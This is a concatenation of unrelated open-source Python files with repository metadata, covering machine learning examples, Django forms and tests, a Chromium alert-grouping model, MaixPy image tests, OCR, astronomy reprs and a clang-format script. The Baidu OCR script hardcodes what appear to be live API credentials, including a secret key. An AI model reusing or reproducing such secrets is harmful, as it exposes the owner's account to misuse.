examples/StatisticalLearningMethod/naive_bayes.py
wwwy-binary/NP_ML
a51b2f3cd753e4a8b5a67bec343c3e75b3fe52d8
[ "MIT" ]
237
2018-03-17T08:50:18.000Z
2022-02-24T12:57:46.000Z
examples/StatisticalLearningMethod/naive_bayes.py
pawopawo/NP_ML
a4cba12f191348526a6f6cc94df5084658fcfdea
[ "MIT" ]
2
2019-01-28T03:30:31.000Z
2021-03-03T01:47:38.000Z
examples/StatisticalLearningMethod/naive_bayes.py
pawopawo/NP_ML
a4cba12f191348526a6f6cc94df5084658fcfdea
[ "MIT" ]
79
2018-03-21T12:22:09.000Z
2021-12-17T02:39:09.000Z
import numpy as np from np_ml import NaiveBayes if __name__ == '__main__': print("--------------------------------------------------------") print("Naive Bayes simple example!") print("example in Statistical Learning Method(《统计学习方法》)") print("--------------------------------------------------------") # To make it easier, set S as 1, M as 2, L as 3 x = [[1, 0], [1, 1], [1, 1], [1, 0], [1, 0], [2, 0], [2, 1], [2, 1], [2, 2], [2, 2], [3, 2], [3, 1], [3, 1], [3, 2], [3, 2]] y = [-1, -1, 1, 1, -1, -1, -1, 1, 1, 1, 1, 1, 1, 1, -1] print("x: ") print(x) print("y: ") print(y) print("") nb = NaiveBayes() nb.fit(x, y) print("x_pred: {}".format([2, 0])) print("y_pred: {}".format(nb.predict([2, 0], ys=[1, -1], detailed=True)))
29.885714
77
0.313576
79592832ce460b525ff5e6ee40f4f089fa92a6ee
556
py
Python
djangocms_bootstrap5/contrib/bootstrap5_link/forms.py
crydotsnake/djangocms-boostrap5
d9693eca62b5c04f150b0231c668564ea2ae24b4
[ "BSD-3-Clause" ]
4
2021-09-10T10:43:15.000Z
2022-02-15T08:53:00.000Z
djangocms_bootstrap5/contrib/bootstrap5_link/forms.py
crydotsnake/djangocms-boostrap5
d9693eca62b5c04f150b0231c668564ea2ae24b4
[ "BSD-3-Clause" ]
3
2021-09-27T07:45:29.000Z
2022-02-02T18:37:25.000Z
djangocms_bootstrap5/contrib/bootstrap5_link/forms.py
crydotsnake/djangocms-boostrap5
d9693eca62b5c04f150b0231c668564ea2ae24b4
[ "BSD-3-Clause" ]
3
2021-09-20T16:36:32.000Z
2021-12-17T10:36:27.000Z
from django import forms from djangocms_icon.fields import IconField from djangocms_link.forms import LinkForm from .constants import LINK_CHOICES from .models import Bootstrap5Link class Bootstrap5LinkForm(LinkForm): link_type = forms.ChoiceField( choices=LINK_CHOICES, initial=LINK_CHOICES[0][0], widget=forms.RadioSelect(attrs={'class': 'inline-block'}), ) icon_left = IconField(required=False) icon_right = IconField(required=False) class Meta: model = Bootstrap5Link fields = '__all__'
25.272727
66
0.721223
79592905fc0cd338c093dac5ca661f0abf343e58
2,422
py
Python
hadiths/tests/tests.py
rafidka/HadithHouseApi
207a9a35b820a7eebeb5f6e869cbc16e44e9d721
[ "MIT" ]
1
2021-02-02T23:54:34.000Z
2021-02-02T23:54:34.000Z
hadiths/tests/tests.py
rafidka/HadithHouseApi
207a9a35b820a7eebeb5f6e869cbc16e44e9d721
[ "MIT" ]
190
2015-11-12T20:54:31.000Z
2018-02-04T21:37:18.000Z
hadiths/tests/tests.py
hadithhouse/HadithHouseWebsite
3b59c42356262ee2a848e1e2251d5c51b4a669d1
[ "MIT" ]
3
2016-02-24T20:22:26.000Z
2017-02-01T23:04:18.000Z
# -*- coding: utf-8 -*- from django.test import TestCase from hadiths.models import Person, Book, BookVolume, BookChapter, BookSection, \ HadithTag, Hadith class PersonTestCase(TestCase): def test_pre_save(self): p = Person() p.display_name = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' p.full_name = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' p.brief_desc = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' p.save() self.assertEqual(u'اختبار ازالة علامات التشكيل', p.simple_display_name) self.assertEqual(u'اختبار ازالة علامات التشكيل', p.simple_full_name) self.assertEqual(u'اختبار ازالة علامات التشكيل', p.simple_brief_desc) class BookTestCase(TestCase): def test_pre_save(self): b = Book() b.title = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' b.brief_desc = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' b.save() bv = BookVolume() bv.number = 1 bv.title = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' bv.book = b bv.save() bc = BookChapter() bc.number = 1 bc.title = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' bc.book = b bc.save() bs = BookSection() bs.number = 1 bs.title = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' bs.book = b bs.save() self.assertEqual(u'اختبار ازالة علامات التشكيل', b.simple_title) self.assertEqual(u'اختبار ازالة علامات التشكيل', b.simple_brief_desc) self.assertEqual(u'اختبار ازالة علامات التشكيل', bv.simple_title) self.assertEqual(u'اختبار ازالة علامات التشكيل', bc.simple_title) self.assertEqual(u'اختبار ازالة علامات التشكيل', bs.simple_title) class HadithTagTestCase(TestCase): def test_pre_save(self): p = HadithTag() p.name = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' p.save() self.assertEqual(u'اختبار ازالة علامات التشكيل', p.simple_name) class HadithTestCase(TestCase): def test_pre_save(self): p = Hadith() p.text = u'إخْتِبار إزَاْلة عَلامات التَشْكيل' p.save() self.assertEqual(u'اختبار ازالة علامات التشكيل', p.simple_text) class TestModeTestCase(TestCase): def test__is_test_mode__returns_true(self): from HadithHouseApi.settings import is_test_mode self.assertEqual(True, is_test_mode(), "is_test_mode() should return True.")
30.658228
80
0.625516
79592929b45f054f654a6cdf2dcfcbbdc827db6b
5,292
py
Python
dashboard/dashboard/models/alert_group.py
lincocc/catapult
a34cee3161ef5a20e4e255cd01076bec810689c8
[ "BSD-3-Clause" ]
1
2021-04-21T07:55:55.000Z
2021-04-21T07:55:55.000Z
dashboard/dashboard/models/alert_group.py
Keshawnjones/catapult
b226a4b7af31ec65e2c3ae3fcf3f46eb89df28ac
[ "BSD-3-Clause" ]
null
null
null
dashboard/dashboard/models/alert_group.py
Keshawnjones/catapult
b226a4b7af31ec65e2c3ae3fcf3f46eb89df28ac
[ "BSD-3-Clause" ]
null
null
null
# Copyright 2020 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """The database model for an "Anomaly", which represents a step up or down.""" from __future__ import print_function from __future__ import division from __future__ import absolute_import import uuid from google.appengine.ext import ndb # Move import of protobuf-dependent code here so that all AppEngine work-arounds # have a chance to be live before we import any proto code. from dashboard import sheriff_config_client class RevisionRange(ndb.Model): repository = ndb.StringProperty() start = ndb.IntegerProperty() end = ndb.IntegerProperty() def IsOverlapping(self, b): if not b or self.repository != b.repository: return False return max(self.start, b.start) <= min(self.end, b.end) class BugInfo(ndb.Model): project = ndb.StringProperty() bug_id = ndb.IntegerProperty() class AlertGroup(ndb.Model): name = ndb.StringProperty(indexed=True) domain = ndb.StringProperty(indexed=True) subscription_name = ndb.StringProperty(indexed=True) created = ndb.DateTimeProperty(indexed=False, auto_now_add=True) updated = ndb.DateTimeProperty(indexed=False, auto_now_add=True) class Status(object): unknown = 0 untriaged = 1 triaged = 2 bisected = 3 closed = 4 status = ndb.IntegerProperty(indexed=False) class Type(object): test_suite = 0 logical = 1 reserved = 2 group_type = ndb.IntegerProperty( indexed=False, choices=[Type.test_suite, Type.logical, Type.reserved], default=Type.test_suite, ) active = ndb.BooleanProperty(indexed=True) revision = ndb.LocalStructuredProperty(RevisionRange) bug = ndb.LocalStructuredProperty(BugInfo) project_id = ndb.StringProperty(indexed=True, default='chromium') bisection_ids = ndb.StringProperty(repeated=True) anomalies = ndb.KeyProperty(repeated=True) def IsOverlapping(self, b): return (self.name == b.name and self.domain == b.domain and self.subscription_name == b.subscription_name and self.project_id == b.project_id and self.group_type == b.group_type and self.revision.IsOverlapping(b.revision)) @classmethod def GetType(cls, anomaly_entity): if anomaly_entity.alert_grouping: return cls.Type.logical return cls.Type.test_suite @classmethod def GenerateAllGroupsForAnomaly(cls, anomaly_entity, sheriff_config=None, subscriptions=None): if subscriptions is None: sheriff_config = (sheriff_config or sheriff_config_client.GetSheriffConfigClient()) subscriptions, _ = sheriff_config.Match(anomaly_entity.test.string_id(), check=True) names = anomaly_entity.alert_grouping or [anomaly_entity.benchmark_name] return [ cls( id=str(uuid.uuid4()), name=group_name, domain=anomaly_entity.master_name, subscription_name=s.name, project_id=s.monorail_project_id, status=cls.Status.untriaged, group_type=cls.GetType(anomaly_entity), active=True, revision=RevisionRange( repository='chromium', start=anomaly_entity.start_revision, end=anomaly_entity.end_revision, ), ) for s in subscriptions for group_name in names ] @classmethod def GetGroupsForAnomaly(cls, anomaly_entity, subscriptions): names = anomaly_entity.alert_grouping or [anomaly_entity.benchmark_name] group_type = cls.GetType(anomaly_entity) revision = RevisionRange( repository='chromium', start=anomaly_entity.start_revision, end=anomaly_entity.end_revision, ) groups = [] for name in names: subscription_names = [s.name for s in subscriptions] groups.extend(g for g in cls.Get(name, group_type, revision) if g.subscription_name in subscription_names and all( not added.IsOverlapping(g) for added in groups)) all_groups = cls.GenerateAllGroupsForAnomaly( anomaly_entity, subscriptions=subscriptions, ) if not groups or not all( any(g1.IsOverlapping(g2) for g2 in groups) for g1 in all_groups): groups += cls.Get('Ungrouped', cls.Type.reserved, None) return [g.key for g in groups] @classmethod def GetByID(cls, group_id): return ndb.Key('AlertGroup', group_id).get() @classmethod def Get(cls, group_name, group_type, revision_info, active=True): query = cls.query( cls.active == active, cls.name == group_name, ) if not revision_info: return [ group for group in query.fetch() if group.group_type == group_type ] return [ group for group in query.fetch() if revision_info and revision_info.IsOverlapping(group.revision) and group.group_type == group_type ] @classmethod def GetAll(cls, active=True): groups = cls.query(cls.active == active).fetch() return groups or []
33.493671
80
0.667989
79592c310aabee07642e492d480dda7159d6aff0
457
py
Python
mundo 3/075.py
thiagofreitascarneiro/Curso-de-Python---Curso-em-Video
0342e482780b5a1c6f78cddd51d9bfad785c79fa
[ "MIT" ]
1
2021-08-04T13:21:22.000Z
2021-08-04T13:21:22.000Z
mundo 3/075.py
thiagofreitascarneiro/Curso-de-Python---Curso-em-Video
0342e482780b5a1c6f78cddd51d9bfad785c79fa
[ "MIT" ]
null
null
null
mundo 3/075.py
thiagofreitascarneiro/Curso-de-Python---Curso-em-Video
0342e482780b5a1c6f78cddd51d9bfad785c79fa
[ "MIT" ]
null
null
null
valores = (int(input('Digite 4 valores: ')), int(input('Digite 4 valores: ')), int(input('Digite 4 valores: ')), int(input('Digite 4 valores: '))) print(f'O numero 9 apareceu {valores.count(9)} vezes') if 3 in valores: print(f'O numero 3 apareceu na {valores.index(3) + 1}º posição.') else: print(f'O numero 3 não apareceu em nenhum valor digitado') for n in valores: if n % 2 == 0: print(n, end= " ")
25.388889
69
0.59081
79592c8044bd63fd68c2017ab2d25742ca2930d0
3,614
py
Python
ext_modules/_maix_image/example/maix_image_base_test.py
znstj/MaixPy3
f672b2049b668a5a72ad249933cf9a009760799e
[ "MIT" ]
null
null
null
ext_modules/_maix_image/example/maix_image_base_test.py
znstj/MaixPy3
f672b2049b668a5a72ad249933cf9a009760799e
[ "MIT" ]
null
null
null
ext_modules/_maix_image/example/maix_image_base_test.py
znstj/MaixPy3
f672b2049b668a5a72ad249933cf9a009760799e
[ "MIT" ]
null
null
null
from maix import image, display, camera import time import signal def handle_signal_z(signum, frame): print("APP OVER") exit(0) signal.signal(signal.SIGINT, handle_signal_z) def test_draw(): img = image.Image().new(size=(240, 240), color=(255, 0, 0), mode="RGB") # draw_string img.draw_string(10, 200, "hello word!", scale=0.5, color=(0, 0, 255), thickness=1) display.show(img) time.sleep(1) # draw_line img.draw_line(10, 10, 10, 100, color=(0, 255, 0), thickness=1) display.show(img) time.sleep(1) # draw_rectangle img.draw_rectangle(20, 20, 50, 50, color=(0, 255, 0), thickness=1) display.show(img) time.sleep(1) # draw_circle img.draw_circle(100, 100, 20, color=(0, 255, 0), thickness=1) display.show(img) time.sleep(1) # draw_ellipse img.draw_ellipse(150, 150, 20, 50, 90, 0, 360, color=(0, 255, 0), thickness=1) display.show(img) time.sleep(1) test_draw() def test_img_copy(): img = image.Image().new(color=(255, 0, 0)) print(img) display.show(img) time.sleep(0.5) imga = img.copy() print(imga) imga.draw_rectangle(0, 0, 240, 240, (0, 255, 0), -1) display.show(imga) test_img_copy() def test_set_pixel(): img = image.Image() img.new(color=(255, 0, 0)) for i in range(10, 50): for j in range(10, 20): img.set_pixel(i, j, (0, 0, 255)) display.show(img) test_set_pixel() def test_crop(): img = image.Image().new(color=(255, 0, 0)) img.draw_string(100, 100, "nihao", color=(0, 0, 255)) display.show(img) mk = img.crop(90, 90, 100, 50) print(mk) display.show(mk.resize(240, 240)) test_crop() def test_draw_image(): img = image.Image().new(color=(255, 0, 0)) img.draw_string(100, 100, "nihao", color=(0, 0, 255)) display.show(img) # time.sleep(0.5) mk = img.crop(90, 90, 100, 50) imga = image.Image().new(color=(0, 255, 0)) imga.draw_image(mk, 10, 10) # imga.draw_image(imga) # py no-allow use self but libmaix support display.show(imga) test_draw_image() def test_rotate(): img = image.Image().new(color=(255, 0, 0)) img.draw_string(100, 100, "nihao", color=(0, 0, 255)) for i in range(5): time.sleep(0.5) display.show(img.rotate(72)) test_rotate() def test_convert(): img = image.Image().new(color=(255, 0, 0)) print(img) img.convert("L") print(img) img.convert("RGB") print(img) display.show(img) test_convert() def test_font_draw(): img = image.Image().new(color=(255, 0, 0)) image.load_freetype("./smart/assets/fonts/Alibaba-PuHuiTi-Regular.ttf") s = "二进制例程" x, y = image.get_string_size(s, 3) print(x, y) img.draw_string(0, 240 - (y + 5), s, 3, (255, 255, 255)) # show left-button s = "二进制可执行文件示例" x, y = image.get_string_size(s, 2) print(x, y) img.draw_string(240 - x, 0, s, 2, (255, 255, 255)) # show right-up # wait fix display.show(img) time.sleep(1) img = image.Image().new(color=(255, 0, 0)) image.load_freetype("./smart/assets/fonts/JosefinSans-Regular.ttf") s = "bin example" x, y = image.get_string_size(s, 3) print(x, y) img.draw_string(0, 240 - (y + 5), s, 3, (255, 255, 255)) # show left-button s = "run bin demo test" x, y = image.get_string_size(s, 2) print(x, y) img.draw_string(240 - x, 0, s, 2, (255, 255, 255)) # show right-up # wait fix display.show(img) time.sleep(1) test_font_draw() while True: display.show(camera.capture())
22.873418
81
0.598783
79592e204cb769e5540d67719993d60b3f223a23
960
py
Python
weread/question.py
songjiang951130/JD-Coin
03e2183435e6e8e4cf109fa7286d15cf5f6933da
[ "Apache-2.0" ]
5
2019-08-01T10:35:48.000Z
2019-12-15T02:58:01.000Z
weread/question.py
songjiang951130/JD-Coin
03e2183435e6e8e4cf109fa7286d15cf5f6933da
[ "Apache-2.0" ]
1
2020-01-21T08:38:24.000Z
2020-01-21T08:38:24.000Z
weread/question.py
songjiang951130/JD-Coin
03e2183435e6e8e4cf109fa7286d15cf5f6933da
[ "Apache-2.0" ]
7
2019-08-28T11:36:15.000Z
2022-01-16T14:55:41.000Z
# import pytesseract # from PIL import Image # import baidu # token = baidu.getToken() # print(token) # # image.show() # #需要配置下载文件 # result = pytesseract.image_to_string(image, lang="chi_sim") # print(result) from aip import AipOcr from PIL import Image import base64 from io import BytesIO """ 你的 APPID AK SK 图2的内容""" APP_ID = "18037773" API_KEY = "opPSLkjXliSrYXfrKizsFGiC" SECRET_KEY = "tfXgvzAcGXoasQmnoRvElWBPRsleOFbg" client = AipOcr(APP_ID, API_KEY, SECRET_KEY) options = {} options["language_type"] = "CHN_ENG" options["detect_direction"] = "true" options["detect_language"] = "true" options["probability"] = "true" def get_file_content(filePath): with open(filePath, 'rb') as fp: return fp.read() image_path = 'weread/image/test.jpeg' image = Image.open(image_path) buffered = BytesIO() image.save(buffered, format="jpeg") """ 带参数调用通用文字识别, 图片参数为本地图片 """ result = client.basicGeneral(buffered.getvalue(), options) print(result)
21.333333
61
0.728125
79592e49b6b12a8e22773a46d683304dc4781c15
4,406
py
Python
skyfield/tests/test_strs_and_reprs.py
brunobord/python-skyfield
bd8cfdc151e05d6bd47f9808c497f0a4318d7444
[ "MIT" ]
null
null
null
skyfield/tests/test_strs_and_reprs.py
brunobord/python-skyfield
bd8cfdc151e05d6bd47f9808c497f0a4318d7444
[ "MIT" ]
null
null
null
skyfield/tests/test_strs_and_reprs.py
brunobord/python-skyfield
bd8cfdc151e05d6bd47f9808c497f0a4318d7444
[ "MIT" ]
null
null
null
import textwrap from ..api import Topos, load, wgs84 from ..sgp4lib import EarthSatellite lines = [ 'ISS (ZARYA) ', '1 25544U 98067A 13330.58127943 .00000814 00000-0 21834-4 0 1064', '2 25544 51.6484 23.7537 0001246 74.1647 18.7420 15.50540527859894', ] def dedent(s): return textwrap.dedent(s.rstrip()) def eph(): yield load('de421.bsp') def test_jpl_segment(eph): e = eph['mercury barycenter'] expected = dedent("""\ 'de421.bsp' segment 0 SOLAR SYSTEM BARYCENTER -> 1 MERCURY BARYCENTER """) assert str(e) == expected expected = dedent("""\ <ChebyshevPosition 'de421.bsp' segment 0 SOLAR SYSTEM BARYCENTER -> 1 MERCURY BARYCENTER> """) assert repr(e) == expected def test_satellite_with_name(): s = EarthSatellite(lines[1], lines[2], lines[0]) expected = dedent("""\ ISS (ZARYA) catalog #25544 epoch 2013-11-26 13:57:03 UTC """) assert str(s) == expected expected = dedent("""\ <EarthSatellite ISS (ZARYA) catalog #25544 epoch 2013-11-26 13:57:03 UTC> """) assert repr(s) == expected def test_satellite_without_name(): s = EarthSatellite(lines[1], lines[2]) expected = dedent("""\ catalog #25544 epoch 2013-11-26 13:57:03 UTC """) assert str(s) == expected expected = dedent("""\ <EarthSatellite catalog #25544 epoch 2013-11-26 13:57:03 UTC> """) assert repr(s) == expected def test_geographic_position(): t = wgs84.latlon(42.2, -88.1) expected = dedent("""\ WGS84 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E """) assert str(t) == expected expected = dedent("""\ <GeographicPosition WGS84 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E> """) assert repr(t) == expected t.target_name = 'Custom name' assert str(t) == 'Custom name' assert repr(t) == "<GeographicPosition Custom name>" def test_topos(): t = Topos(latitude_degrees=42.2, longitude_degrees=-88.1) expected = dedent("""\ IERS2010 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E """) assert str(t) == expected expected = dedent("""\ <Topos IERS2010 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E> """) assert repr(t) == expected t.target_name = 'Custom name' assert str(t) == 'Custom name' assert repr(t) == "<Topos Custom name>" def test_jpl_vector_sum(eph): e = eph['earth'] expected = dedent("""\ Sum of 2 vectors: 'de421.bsp' segment 0 SOLAR SYSTEM BARYCENTER -> 3 EARTH BARYCENTER 'de421.bsp' segment 3 EARTH BARYCENTER -> 399 EARTH """) assert str(e) == expected expected = dedent("""\ <VectorSum of 2 vectors: 'de421.bsp' segment 0 SOLAR SYSTEM BARYCENTER -> 3 EARTH BARYCENTER 'de421.bsp' segment 3 EARTH BARYCENTER -> 399 EARTH> """) assert repr(e) == expected def test_geographic_position_and_earth_satellite_vector_sum(eph): s = EarthSatellite(lines[1], lines[2]) t = wgs84.latlon(42.2, -88.1) v = s - t expected = dedent("""\ Sum of 2 vectors: Reversed Geodetic WGS84 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E -> 399 EARTH EarthSatellite 399 EARTH -> catalog #25544 epoch 2013-11-26 13:57:03 UTC """) assert str(v) == expected expected = dedent("""\ <VectorSum of 2 vectors: Reversed Geodetic WGS84 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E -> 399 EARTH EarthSatellite 399 EARTH -> catalog #25544 epoch 2013-11-26 13:57:03 UTC> """) assert repr(v) == expected def test_topos_and_earth_satellite_vector_sum(eph): s = EarthSatellite(lines[1], lines[2]) t = Topos(latitude_degrees=42.2, longitude_degrees=-88.1) v = s - t expected = dedent("""\ Sum of 2 vectors: Reversed Geodetic IERS2010 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E -> 399 EARTH EarthSatellite 399 EARTH -> catalog #25544 epoch 2013-11-26 13:57:03 UTC """) assert str(v) == expected expected = dedent("""\ <VectorSum of 2 vectors: Reversed Geodetic IERS2010 latitude 42deg 12' 00.0" N longitude -88deg 06' 00.0" E -> 399 EARTH EarthSatellite 399 EARTH -> catalog #25544 epoch 2013-11-26 13:57:03 UTC> """) assert repr(v) == expected
34.155039
104
0.621879
79592e4ad15a226655e1b947611f31fbe28a6617
8,027
py
Python
.github/run-clang-format.py
mwikenma/maya-usd
08dde686f23820b27a3aef438e092c4e13405c3b
[ "Apache-2.0" ]
507
2019-07-30T20:05:10.000Z
2022-03-30T07:38:43.000Z
.github/run-clang-format.py
mwikenma/maya-usd
08dde686f23820b27a3aef438e092c4e13405c3b
[ "Apache-2.0" ]
1,188
2019-07-31T11:27:27.000Z
2022-03-31T21:06:06.000Z
.github/run-clang-format.py
mwikenma/maya-usd
08dde686f23820b27a3aef438e092c4e13405c3b
[ "Apache-2.0" ]
165
2019-07-30T22:27:57.000Z
2022-03-25T07:20:23.000Z
#!/usr/bin/env python '''Run clang-format on files in this repository By default, runs on all files, but may pass specific files. ''' from __future__ import absolute_import, division, print_function, unicode_literals import argparse import inspect import fnmatch import io import os import re import stat import sys import platform import time from subprocess import check_call, check_output if sys.version_info[0] < 3: # Python-2 check_output doesn't have encoding def check_output(*args, **kwargs): import subprocess kwargs.pop('encoding') return subprocess.check_output(*args, **kwargs) THIS_FILE = os.path.normpath(os.path.abspath(inspect.getsourcefile(lambda: None))) THIS_DIR = os.path.dirname(THIS_FILE) # THIS_DIR = REPO_ROOT/.github REPO_ROOT = os.path.dirname(THIS_DIR) UPDATE_INTERVAL = .2 _last_update_len = 0 _on_update_line = False def update_status(text): global _last_update_len global _on_update_line sys.stdout.write('\r') text_len = len(text) extra_chars = _last_update_len - text_len if extra_chars > 0: text += (' ' * extra_chars) sys.stdout.write(text) _last_update_len = text_len sys.stdout.flush() _on_update_line = True def post_update_print(text): global _on_update_line if _on_update_line: print() print(text) _on_update_line = False def regex_from_file(path, glob=False): with io.open(path, 'r') as f: patterns = f.read().splitlines() # ignore comment lines patterns = [x for x in patterns if x.strip() and not x.lstrip().startswith('#')] if glob: patterns = [fnmatch.translate(x) for x in patterns] regex = '({})'.format('|'.join(patterns)) return re.compile(regex) if platform.system() == "Windows" and sys.version_info >= (3, 6): import pathlib # Python 3.6 is required for pathlib.Path def canonicalpath(path): path = os.path.abspath(os.path.realpath(os.path.normpath(os.path.normcase(path)))) realpath = str(pathlib.Path(path).resolve()) # To get a properly cased path ie: from r'C:\WiNdOwS\SyStEm32\DeSkToP.iNi' get r'C:\Windows\System32\desktop.ini' if len(path) == len(realpath): # This is to avoid following symbolic links, there is still the possibility that they could be equal. path = realpath if os.path.isabs(path) and path[0].upper() != path[0]: path = path[0].upper() +path[1:] # path.capitalize() path = path.replace('\\', '/') return path else: def canonicalpath(path): path = os.path.abspath(os.path.realpath(os.path.normpath(os.path.normcase(path)))) return path.replace('\\', '/') def run_clang_format(paths=(), verbose=False, commit=None): """Runs clang-format in-place on repo files Returns ------- List[str] Files altered by clang-format """ if not paths and not commit: paths = [REPO_ROOT] if commit: check_call(['git', 'checkout', commit], cwd=REPO_ROOT) text = check_output( ['git', 'diff-tree', '--no-commit-id', '--name-only', '-r', commit], cwd=REPO_ROOT, encoding=sys.stdout.encoding) commit_paths = text.splitlines() paths.extend(os.path.join(REPO_ROOT, p) for p in commit_paths) files = set() folders = set() include_path = os.path.join(REPO_ROOT, '.clang-format-include') include_regex = regex_from_file(include_path) ignore_path = os.path.join(REPO_ROOT, '.clang-format-ignore') ignore_regex = regex_from_file(ignore_path, glob=True) # tried to parse .gitignore with regex_from_file, but it has # too much special git syntax. Instead just using `git ls-files` # as a filter... git_files = check_output(['git', 'ls-files'], cwd=REPO_ROOT, encoding=sys.stdout.encoding) git_files = set(canonicalpath(x.strip()) for x in git_files.splitlines()) def print_path(p): if p.startswith(REPO_ROOT): p = os.path.relpath(p, REPO_ROOT) return p def passes_filter(path): rel_path = os.path.relpath(path, REPO_ROOT) match_path = os.path.join('.', rel_path) # standardize on '/', because that's what's used in files, # and output by `git ls-files` match_path = match_path.replace('\\', '/') if not include_regex.search(match_path): return False if ignore_regex.search(match_path): return False return True # parse the initial fed-in paths, which may be files or folders for path in paths: # Get the stat, so we only do one filesystem call, instead of # two for os.path.isfile() + os.path.isdir() try: st_mode = os.stat(path).st_mode if stat.S_ISDIR(st_mode): folders.add(path) elif stat.S_ISREG(st_mode): if canonicalpath(path) in git_files: files.add(path) except Exception: print("Given path did not exist: {}".format(path)) raise for folder in folders: # we already have list of potential files in git_files... # filter to ones in this folder folder = canonicalpath(folder) + '/' files.update(x for x in git_files if x.startswith(folder)) # We apply filters even to fed-in paths... this is to aid # in use of globs on command line files = sorted(x for x in files if passes_filter(x)) clang_format_executable = os.environ.get('CLANG_FORMAT_EXECUTABLE', 'clang-format') if verbose: print("Running clang-format on {} files...".format(len(files))) last_update = time.time() def print_path(p): if p.startswith(REPO_ROOT): p = os.path.relpath(p, REPO_ROOT) return p altered = [] for i, path in enumerate(files): if verbose: now = time.time() if now - last_update > UPDATE_INTERVAL: last_update = now update_status('File {}/{} ({:.1f}%) - {}'.format( i + 1, len(files), (i + 1) / len(files) * 100, print_path(path))) # Note - couldn't find a way to get clang-format to return whether # or not a file was altered with '-i' - so checking ourselves # Checking mtime is not foolproof, but is faster than reading file # and comparing, and probably good enough mtime_orig = os.path.getmtime(path) check_call([clang_format_executable, '-i', path]) mtime_new = os.path.getmtime(path) if mtime_new != mtime_orig: post_update_print("File altered: {}".format(print_path(path))) altered.append(path) post_update_print("Done - altered {} files".format(len(altered))) return altered def get_parser(): parser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('paths', nargs='*', help='Paths to run clang-format on; defaults to all files in repo') parser.add_argument('-v', '--verbose', action='store_true', help='Enable more output (ie, progress messages)') parser.add_argument('-c', '--commit', help='Git commit / revision / branch; will first check out that commit,' " then query it for it's list of affected files, to use as the files" ' to run clang-format on; if PATHS are also manually given, they are' ' appended') return parser def main(raw_args=None): parser = get_parser() args = parser.parse_args(raw_args) try: altered = run_clang_format(paths=args.paths, verbose=args.verbose, commit=args.commit) except Exception: import traceback traceback.print_exc() return 1 if altered: return 1 return 0 if __name__ == '__main__': sys.exit(main())
34.157447
167
0.628628
79592ed6fec877de51e957325bc75abb0beb48b3
24,627
py
Python
.ipython/profile_default/ipython_qtconsole_config.py
elsdrium/.unix_settings
1c3cf9dfc9a4a465178d22c82f3a05f380cda926
[ "MIT" ]
5
2016-11-06T07:17:08.000Z
2019-02-24T11:15:23.000Z
.ipython/profile_default/ipython_qtconsole_config.py
elsdrium/.unix_settings
1c3cf9dfc9a4a465178d22c82f3a05f380cda926
[ "MIT" ]
null
null
null
.ipython/profile_default/ipython_qtconsole_config.py
elsdrium/.unix_settings
1c3cf9dfc9a4a465178d22c82f3a05f380cda926
[ "MIT" ]
null
null
null
# Configuration file for ipython-qtconsole. c = get_config() #------------------------------------------------------------------------------ # IPythonQtConsoleApp configuration #------------------------------------------------------------------------------ # IPythonQtConsoleApp will inherit config from: BaseIPythonApplication, # Application, IPythonConsoleApp, ConnectionFileMixin # Set the kernel's IP address [default localhost]. If the IP address is # something other than localhost, then Consoles on other machines will be able # to connect to the Kernel, so be careful! # c.IPythonQtConsoleApp.ip = u'' # Create a massive crash report when IPython encounters what may be an internal # error. The default is to append a short message to the usual traceback # c.IPythonQtConsoleApp.verbose_crash = False # Start the console window maximized. # c.IPythonQtConsoleApp.maximize = False # The date format used by logging formatters for %(asctime)s # c.IPythonQtConsoleApp.log_datefmt = '%Y-%m-%d %H:%M:%S' # set the shell (ROUTER) port [default: random] # c.IPythonQtConsoleApp.shell_port = 0 # The SSH server to use to connect to the kernel. # c.IPythonQtConsoleApp.sshserver = '' # set the stdin (DEALER) port [default: random] # c.IPythonQtConsoleApp.stdin_port = 0 # Set the log level by value or name. # c.IPythonQtConsoleApp.log_level = 30 # Path to the ssh key to use for logging in to the ssh server. # c.IPythonQtConsoleApp.sshkey = '' # Path to an extra config file to load. # # If specified, load this config file in addition to any other IPython config. # c.IPythonQtConsoleApp.extra_config_file = u'' # Whether to create profile dir if it doesn't exist # c.IPythonQtConsoleApp.auto_create = False # path to a custom CSS stylesheet # c.IPythonQtConsoleApp.stylesheet = '' # set the heartbeat port [default: random] # c.IPythonQtConsoleApp.hb_port = 0 # Whether to overwrite existing config files when copying # c.IPythonQtConsoleApp.overwrite = False # set the iopub (PUB) port [default: random] # c.IPythonQtConsoleApp.iopub_port = 0 # The IPython profile to use. # c.IPythonQtConsoleApp.profile = u'default' # JSON file in which to store connection info [default: kernel-<pid>.json] # # This file will contain the IP, ports, and authentication key needed to connect # clients to this kernel. By default, this file will be created in the security- # dir of the current profile, but can be specified by absolute path. # c.IPythonQtConsoleApp.connection_file = '' # Set to display confirmation dialog on exit. You can always use 'exit' or # 'quit', to force a direct exit without any confirmation. # c.IPythonQtConsoleApp.confirm_exit = True # The name of the IPython directory. This directory is used for logging # configuration (through profiles), history storage, etc. The default is usually # $HOME/.ipython. This options can also be specified through the environment # variable IPYTHONDIR. # c.IPythonQtConsoleApp.ipython_dir = u'' # Whether to install the default config files into the profile dir. If a new # profile is being created, and IPython contains config files for that profile, # then they will be staged into the new directory. Otherwise, default config # files will be automatically generated. # c.IPythonQtConsoleApp.copy_config_files = False # Connect to an already running kernel # c.IPythonQtConsoleApp.existing = '' # Use a plaintext widget instead of rich text (plain can't print/save). # c.IPythonQtConsoleApp.plain = False # Start the console window with the menu bar hidden. # 